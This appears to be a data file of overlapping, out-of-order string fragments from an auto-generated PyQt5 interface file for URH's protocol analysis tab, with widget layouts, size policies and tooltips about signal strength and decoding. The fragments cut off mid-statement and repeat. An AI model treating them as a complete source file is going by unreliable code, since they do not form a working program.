"QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents)",
"QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed,",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.lblLabelValues.setFont(font) self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0,",
"1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2 =",
"= QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView",
"Signal Strength Indicator</span> indicates the average signal power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\",",
"indicates the average signal power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The",
"1, 1) self.lTime = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy)",
"only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown:",
"icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy =",
"= QtWidgets.QWidget() self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer =",
"self.verticalLayout.addWidget(self.treeViewProtocols) self.label_4 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_4.setObjectName(\"label_4\") self.verticalLayout.addWidget(self.label_4) self.listViewParticipants = QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding)",
"1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font",
"self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy",
"self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate",
"_translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\",",
"0, 6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto = QtWidgets.QToolButton(self.scrollAreaWidgetContents)",
"self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1)",
"self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem,",
"QtWidgets.QListView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView =",
"self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon =",
"the point in time when a protocol message begins. Additionally the relative time",
"shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\",",
"1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line",
"self.lNumSelectedColumns.setObjectName(\"lNumSelectedColumns\") self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnSaveProto.sizePolicy().hasHeightForWidth()) self.btnSaveProto.setSizePolicy(sizePolicy) self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon",
"= QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1)",
"1) self.lSearchTotal = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\"",
"self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label",
"self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol fields here. To add",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewParticipants.sizePolicy().hasHeightForWidth()) self.listViewParticipants.setSizePolicy(sizePolicy) self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy =",
"self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20,",
"= QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\", 24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\")",
"self.btnSaveProto.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.btnSaveProto.setBaseSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy =",
"Signal Strength Indicator</span> indicates the average signal power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\",",
"FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis)",
"sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1,",
"self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\")",
"self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth()) self.btnAnalyze.setSizePolicy(sizePolicy)",
"# # WARNING! All changes made in this file will be lost! from",
"self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0,",
"self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\")",
"urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from urh.ui.views.ProtocolTreeView import ProtocolTreeView from .",
"message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add a new message",
"Strength Indicator</span> indicates the average signal power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\"))",
"\"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%)",
"self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol)",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbShowDiffs.sizePolicy().hasHeightForWidth()) self.cbShowDiffs.setSizePolicy(sizePolicy) self.cbShowDiffs.setObjectName(\"cbShowDiffs\") self.verticalLayout.addWidget(self.cbShowDiffs) self.chkBoxShowOnlyDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs)",
"-*- # # # WARNING! All changes made in this file will be",
"\")) self.labelDecodingState.setText(_translate(\"FAnalysis\", \"SUCCESS\")) self.cbShowDiffs.setText(_translate(\"FAnalysis\", \"Mark diffs in protocol\")) self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in",
"self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy =",
"self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy)",
"QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy =",
"self.lBits.setObjectName(\"lBits\") self.horizontalLayout_3.addWidget(self.lBits) self.lBitsSelection = QtWidgets.QLineEdit(self.frame_3) self.lBitsSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lBitsSelection.setAcceptDrops(False) self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex =",
"10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2",
"self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for message:\")) self.lDecodingErrorsValue.setText(_translate(\"FAnalysis\", \"0 (0.00%) \")) self.labelDecodingState.setText(_translate(\"FAnalysis\",",
"current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\"))",
"\"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\")) self.btnMessagetypeSettings.setText(_translate(\"FAnalysis\", \"...\")) self.btnAddMessagetype.setToolTip(_translate(\"FAnalysis\", \"Add",
"self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)",
"FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\",",
"self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view",
"when a protocol message begins. Additionally the relative time (+ ...) from the",
"1, 2, 1) self.listViewLabelNames = ProtocolLabelListView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.listViewLabelNames.sizePolicy().hasHeightForWidth())",
"self.listViewParticipants.setObjectName(\"listViewParticipants\") self.verticalLayout.addWidget(self.listViewParticipants) self.cbProtoView = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy)",
"\"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester",
"use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message",
"0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5) self.btnSaveProto",
"= QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\")",
"self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\")",
"FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter)",
"self.pageProgressBar.setObjectName(\"pageProgressBar\") self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.pageProgressBar) self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy",
"20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns",
"self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes = QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon =",
"self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False) self.tblViewProtocol.setObjectName(\"tblViewProtocol\") self.tblViewProtocol.horizontalHeader().setDefaultSectionSize(40) self.verticalLayout_3.addWidget(self.tblViewProtocol) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")",
"self.chkBoxShowOnlyDiffs.setText(_translate(\"FAnalysis\", \"Show only diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\",",
"self.lSlash.setText(_translate(\"FAnalysis\", \"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength",
"self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter,",
"_translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\",",
"from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from urh.ui.views.ProtocolTreeView import ProtocolTreeView from",
